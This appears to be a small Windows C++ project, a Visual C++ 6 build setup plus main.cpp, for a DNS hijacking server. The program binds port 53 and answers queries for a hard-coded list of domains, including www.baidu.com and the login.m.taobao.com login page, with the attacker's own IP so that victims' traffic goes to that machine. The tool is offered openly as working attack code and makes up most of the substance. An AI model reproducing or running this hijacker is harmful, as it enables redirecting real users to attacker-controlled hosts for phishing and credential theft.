├── dns_server.dsp
├── dns_server.dsw
├── dns_server.ncb
├── dns_server.opt
├── dns_server.plg
└── main.cpp


/dns_server.dsp:
--------------------------------------------------------------------------------
  1 | # Microsoft Developer Studio Project File - Name="dns_server" - Package Owner=<4>
  2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00
  3 | # ** DO NOT EDIT **
  4 | 
  5 | # TARGTYPE "Win32 (x86) Console Application" 0x0103
  6 | 
  7 | CFG=dns_server - Win32 Debug
  8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE,
  9 | !MESSAGE use the Export Makefile command and run
 10 | !MESSAGE 
 11 | !MESSAGE NMAKE /f "dns_server.mak".
 12 | !MESSAGE 
 13 | !MESSAGE You can specify a configuration when running NMAKE
 14 | !MESSAGE by defining the macro CFG on the command line. For example:
 15 | !MESSAGE 
 16 | !MESSAGE NMAKE /f "dns_server.mak" CFG="dns_server - Win32 Debug"
 17 | !MESSAGE 
 18 | !MESSAGE Possible choices for configuration are:
 19 | !MESSAGE 
 20 | !MESSAGE "dns_server - Win32 Release" (based on "Win32 (x86) Console Application")
 21 | !MESSAGE "dns_server - Win32 Debug" (based on "Win32 (x86) Console Application")
 22 | !MESSAGE 
 23 | 
 24 | # Begin Project
 25 | # PROP AllowPerConfigDependencies 0
 26 | # PROP Scc_ProjName ""
 27 | # PROP Scc_LocalPath ""
 28 | CPP=cl.exe
 29 | RSC=rc.exe
 30 | 
 31 | !IF  "$(CFG)" == "dns_server - Win32 Release"
 32 | 
 33 | # PROP BASE Use_MFC 0
 34 | # PROP BASE Use_Debug_Libraries 0
 35 | # PROP BASE Output_Dir "Release"
 36 | # PROP BASE Intermediate_Dir "Release"
 37 | # PROP BASE Target_Dir ""
 38 | # PROP Use_MFC 0
 39 | # PROP Use_Debug_Libraries 0
 40 | # PROP Output_Dir "Release"
 41 | # PROP Intermediate_Dir "Release"
 42 | # PROP Target_Dir ""
 43 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
 44 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
 45 | # ADD BASE RSC /l 0x804 /d "NDEBUG"
 46 | # ADD RSC /l 0x804 /d "NDEBUG"
 47 | BSC32=bscmake.exe
 48 | # ADD BASE BSC32 /nologo
 49 | # ADD BSC32 /nologo
 50 | LINK32=link.exe
 51 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib  kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
 52 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib  kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
 53 | 
 54 | !ELSEIF  "$(CFG)" == "dns_server - Win32 Debug"
 55 | 
 56 | # PROP BASE Use_MFC 0
 57 | # PROP BASE Use_Debug_Libraries 1
 58 | # PROP BASE Output_Dir "Debug"
 59 | # PROP BASE Intermediate_Dir "Debug"
 60 | # PROP BASE Target_Dir ""
 61 | # PROP Use_MFC 0
 62 | # PROP Use_Debug_Libraries 1
 63 | # PROP Output_Dir "Debug"
 64 | # PROP Intermediate_Dir "Debug"
 65 | # PROP Target_Dir ""
 66 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ  /c
 67 | # ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ  /c
 68 | # ADD BASE RSC /l 0x804 /d "_DEBUG"
 69 | # ADD RSC /l 0x804 /d "_DEBUG"
 70 | BSC32=bscmake.exe
 71 | # ADD BASE BSC32 /nologo
 72 | # ADD BSC32 /nologo
 73 | LINK32=link.exe
 74 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib  kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
 75 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib  kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
 76 | 
 77 | !ENDIF 
 78 | 
 79 | # Begin Target
 80 | 
 81 | # Name "dns_server - Win32 Release"
 82 | # Name "dns_server - Win32 Debug"
 83 | # Begin Group "Source Files"
 84 | 
 85 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
 86 | # Begin Source File
 87 | 
 88 | SOURCE=.\main.cpp
 89 | # End Source File
 90 | # End Group
 91 | # Begin Group "Header Files"
 92 | 
 93 | # PROP Default_Filter "h;hpp;hxx;hm;inl"
 94 | # End Group
 95 | # Begin Group "Resource Files"
 96 | 
 97 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
 98 | # End Group
 99 | # End Target
100 | # End Project
101 | 


--------------------------------------------------------------------------------
/dns_server.dsw:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lcatro/dns_hijack_server/ee55459537fb682af76c4abe2d4331118fde1858/dns_server.dsw


--------------------------------------------------------------------------------
/dns_server.ncb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lcatro/dns_hijack_server/ee55459537fb682af76c4abe2d4331118fde1858/dns_server.ncb


--------------------------------------------------------------------------------
/dns_server.opt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lcatro/dns_hijack_server/ee55459537fb682af76c4abe2d4331118fde1858/dns_server.opt


--------------------------------------------------------------------------------
/dns_server.plg:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <body>
 3 | <pre>
 4 | <h1>Build Log</h1>
 5 | <h3>
 6 | --------------------Configuration: dns_server - Win32 Debug--------------------
 7 | </h3>
 8 | <h3>Command Lines</h3>
 9 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSP16A3.tmp" with contents
10 | [
11 | /nologo /MLd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Debug/dns_server.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c 
12 | "C:\Users\Administrator\Desktop\code_file\dns_server\main.cpp"
13 | ]
14 | Creating command line "cl.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSP16A3.tmp" 
15 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSP16A4.tmp" with contents
16 | [
17 | kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/dns_server.pdb" /debug /machine:I386 /out:"Debug/dns_server.exe" /pdbtype:sept 
18 | .\Debug\main.obj
19 | ]
20 | Creating command line "link.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSP16A4.tmp"
21 | <h3>Output Window</h3>
22 | Compiling...
23 | main.cpp
24 | C:\Users\Administrator\Desktop\code_file\dns_server\main.cpp(16) : warning C4005: 'DNS_SERVER' : macro redefinition
25 |         c:\users\administrator\desktop\code_file\dns_server\main.cpp(0) : see previous definition of 'DNS_SERVER'
26 | Linking...
27 | 
28 | 
29 | 
30 | <h3>Results</h3>
31 | dns_server.exe - 0 error(s), 0 warning(s)
32 | </pre>
33 | </body>
34 | </html>
35 | 


--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
  1 | 
  2 | #include <malloc.h>
  3 | #include <memory.h>
  4 | #include <stdio.h>
  5 | #include <string.h>
  6 | 
  7 | #include <pcap.h>
  8 | #include <winsock.h>
  9 | 
 10 | #pragma comment (lib,"ws2_32")
 11 | 
 12 | #define DNS_PORT 53
 13 | #define DNS_QUERY_TYPE 0x1
 14 | #define DNS_SEND_BUFFER 1024
 15 | #define DNS_RECV_BUFFER 1024
 16 | #define DNS_SERVER "202.96.128.166"
 17 | 
 18 | #define IP_LENTGH 16
 19 | 
 20 | const char* dns_inject_host[]={  //  What website you want to hijack
 21 |     {"www.baidu.com"},
 22 |     {"www.cao.com"},
 23 |     {"login.m.taobao.com"},
 24 |     {"www.wodiao.com"}
 25 | };
 26 | 
 27 | const unsigned long dns_inject_total=sizeof(dns_inject_host)/4;
 28 | 
 29 | char local_ip[IP_LENTGH]={0};
 30 | 
 31 | #pragma pack(1)
 32 | 
 33 | typedef struct {
 34 |     u_int16_t id;
 35 |     u_int16_t flags;
 36 |     u_int16_t quests;
 37 |     u_int16_t answers;
 38 |     u_int16_t author;
 39 |     u_int16_t addition;
 40 | } dns,*point_dns;
 41 | 
 42 | typedef struct {
 43 |     u_int8_t *name;
 44 |     u_int16_t type;
 45 |     u_int16_t classes;
 46 | } query,*point_query;
 47 | 
 48 | typedef struct {
 49 |     u_int16_t name;
 50 |     u_int16_t type;
 51 |     u_int16_t classes;
 52 |     u_int32_t ttl;
 53 |     u_int16_t length;
 54 |     u_int32_t addr;
 55 | } response,*point_response;
 56 | 
 57 | #pragma pack()
 58 | 
 59 | void init_winsock(void) {
 60 |     WSADATA WSAData;
 61 | 	WSAStartup(1,&WSAData);
 62 | }
 63 | 
 64 | void get_ip(void) {
 65 |     char local_host[64]={0};
 66 |     gethostname(local_host,64);
 67 |     hostent* host=gethostbyname(local_host);
 68 |     char* ip=inet_ntoa(*(in_addr*)host->h_addr_list[0]);
 69 |     memcpy(local_ip,ip,strlen(ip));
 70 |     printf("%s\n",local_ip);
 71 | }
 72 | 
 73 | char* conver_host(char* input_host) {
 74 |     if (NULL==input_host) return NULL;
 75 | 
 76 |     char* output_string=NULL;
 77 |     char* host=input_host;
 78 |     unsigned short alloc_length=0;
 79 |     while ('\0'!=*host) {
 80 |         alloc_length+=*(unsigned char*)host+1;
 81 |         host=(char*)(input_host+alloc_length);
 82 |     }
 83 |     output_string=(char*)malloc(alloc_length);
 84 |     memset(output_string,0,alloc_length);
 85 |     unsigned short read_point=0;
 86 |     while ('\0'!=*input_host) {
 87 |         unsigned char read_length=*input_host++;
 88 |         memcpy((char*)(output_string+read_point),input_host,read_length);
 89 |         *(char*)(output_string+read_point+read_length)='.';
 90 |         read_point+=read_length+1;
 91 |         input_host+=read_length;
 92 |     }
 93 |     *(char*)(output_string+read_point-1)='\0';
 94 | 
 95 |     return output_string;
 96 | }
 97 | 
 98 | void main(void) {
 99 |     init_winsock();
100 |     get_ip();
101 |     SOCKET sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
102 | 
103 |     sockaddr_in local;
104 |     local.sin_addr.S_un.S_addr=0;
105 |     local.sin_family=AF_INET;
106 |     local.sin_port=htons(DNS_PORT);
107 |     if (SOCKET_ERROR==bind(sock,(const sockaddr*)&local,sizeof(sockaddr_in))) {
108 |         printf("bind err!\n");
109 |         return;
110 |     }
111 | 
112 |     while (true) {
113 |         char recv_buffer[DNS_RECV_BUFFER]={0};
114 |         sockaddr_in remote;
115 |         int remote_length=sizeof(remote);
116 |         int recv_length=recvfrom(sock,recv_buffer,DNS_RECV_BUFFER,0,(sockaddr*)&remote,&remote_length);
117 |         if (SOCKET_ERROR!=recv_length) {
118 |             point_dns dns_=(point_dns)recv_buffer;
119 |             point_query query_=(point_query)&recv_buffer[sizeof(dns)];
120 |             unsigned short query_type=ntohs(*(unsigned short*)((unsigned long)query_+strlen((const char*)query_)+1));
121 |             if (DNS_QUERY_TYPE==query_type) {
122 |                 bool hijack_flag=false;
123 |                 char* query_host=conver_host((char*)query_);
124 |                 unsigned int query_total=ntohs(dns_->quests);
125 |                 for (unsigned int check_index=0;check_index<dns_inject_total;++check_index) {
126 |                     if (!strcmp(query_host,dns_inject_host[check_index])) {
127 |                         printf("this is %s ,dns server is hijacking!new ip %s\n",query_host,local_ip);
128 |                         hijack_flag=true;
129 |                     }
130 |                 }
131 |                 free(query_host);
132 | 
133 |                 if (hijack_flag) {
134 |                     char send_buffer[DNS_SEND_BUFFER]={0};
135 |                     response response;
136 |                     response.addr=inet_addr(local_ip);
137 |                     response.length=htons(4);
138 |                     response.classes=htons(1);
139 |                     response.ttl=htonl(300);
140 |                     response.type=htons(query_type);
141 |                     response.name=htons(0xC00C);
142 |                     dns_->flags=htons(0x8180);
143 |                     dns_->answers=htons(1);
144 |                     memcpy(send_buffer,recv_buffer,recv_length);
145 |                     memcpy(&send_buffer[recv_length],&response,sizeof(response));
146 |                     sendto(sock,send_buffer,recv_length+sizeof(response),0,(const sockaddr*)&remote,sizeof(remote));
147 |                 }
148 |             }
149 |         } else
150 |             break;
151 |     }
152 | }
153 | 


--------------------------------------------------------------------------------